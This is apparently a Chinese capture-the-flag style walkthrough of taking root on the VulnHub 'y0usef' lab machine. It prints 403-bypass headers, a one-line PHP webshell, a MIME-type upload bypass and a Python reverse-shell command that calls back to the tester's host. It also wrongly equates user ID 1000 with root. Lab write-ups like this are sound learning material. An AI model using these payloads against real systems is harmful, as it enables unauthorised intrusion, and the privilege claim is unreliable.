一、主机发现

靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova

直接arp探测,发现靶机ip

arp-scan -l

image-20240702203114924

二、端口扫描

确认靶机ip后,对靶机进行端口扫描,查看开放端口,获取突破口

nmap -p- 10.0.2.11 

发现主机80端口和22端口开放

image-20240702203204754

根据nmap知道80端口为web服务,直接访问web页面,查看有没有突破口

image-20240702203411066

发现网站正在建设中,页面没有任何有用信息,查看一下源代码,也没有发现任何有用的信息。

三、指纹收集

使用whatweb,对网站进行指纹收集

whatweb详细介绍:

Web 扫描神器:WhatWeb 保姆级教程(附链接)-CSDN博客

whatweb http://10.0.2.11/

image-20240702211949241

发现相关信息,但是没用上

四、目录扫描

对网站进行目录扫描,看看有没有后台或者未授权访问什么的

dirsearch -u 10.0.2.11

image-20240702204245125

发现就一个adminstration页面是301重定向,其他页面都是403禁止访问

访问adminstration页面,发现也是403禁止访问

http://10.0.2.11/adminstration/

image-20240702204408909

image-20240702204528965

五、403绕过

5.1、旁站绕过

image-20240702212822689

管理员只对www.abc.com下的auth/login页面进行限制,

没有对其他子域名进行限制,更改hosts进行绕过

5.2、URL覆盖绕过

image-20240702213112772

有些限制只是针对某个具体的url地址,进行403限制,如果请求的是根路径,添加X-Original-Url或者X-Rewrite-Url进行写入url

5.3、refer绕过

image-20240702213530922

当请求服务器时,服务器访问根路径,在访问根路径之前,已经在一个需要授权才能访问的路径,如果服务器检验是通过一个已经授权的url路径时,会觉得你已经是经过身份认证的用户时,就可能绕过

5.4、反向代理绕过

X-Originating-IP:127.0.0.1

X-Remote-IP:127.0.0.1

X-Forwarded-For:127.0.0.1

让服务器误认为是自己访问,从而进行绕过

5.5、靶机403绕过

将上面方式尝试一圈后,发现X-Forwarded-For方式可以成功绕过

切记在下面测试过程中,每个页面都要加上:X-Forwarded-For:127.0.0.1

切记在下面测试过程中,每个页面都要加上:X-Forwarded-For:127.0.0.1

切记在下面测试过程中,每个页面都要加上:X-Forwarded-For:127.0.0.1

X-Forwarded-For:127.0.0.1

image-20240702204933219

六、弱口令登录

成功进入登录页面,同样进行抓包尝试弱口令登录

admin/admin 成功登录

image-20240702204957487

image-20240702205208557

七、文件上传

发现登录成功后发现有个文件上传点,进行上传测试

webshell如下:

<?php $var=shell_exec($_GET['cmd']); echo $var ?>

抓包进行上传,没做任何修改发现没有上传成功

image-20240702205737419

更改一下mine,改为image/png类型

发现上传成功

image-20240702210006663

成功看到上传路径,访问进行利用

image-20240702210046133

发现webshell成功执行,命令能被解析执行

http://10.0.2.11/adminstration/upload/files/17199252091.php?cmd=ls

image-20240702210241461

八、反弹shell

执行python反弹shell

找到python路径

http://10.0.2.11/adminstration/upload/files/17199252091.php?cmd=which%20python

image-20240702210428645

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20240702210744706

成功反弹

image-20240702210755973

查看用户文件,发现yousef用户可以ssh

并且该用户权限是1000,是root权限

image-20240702210927873

切换到用户路径下

发现txt,赛博厨子解码一下,竟然是账号和密码

image-20240702211034632

ssh : 
user : yousef
pass : yousef123

image-20240702211129284

直接ssh登录

image-20240702211343436

由于用户权限本来就是1000,所以直接切换到root权限

sudo -s

image-20240702211412585

九、总结:

打靶思路:

​ 发现主机==》端口扫描==》指纹收集==》目录扫描==》403绕过==》文件上传==》反弹shell

​ 成功拿下root权限,靶机不难,没有使用的内核提权那些东西。拿下普通用户后,信息搜集一下,竟然有root权限的账号和密码,省了不少劲。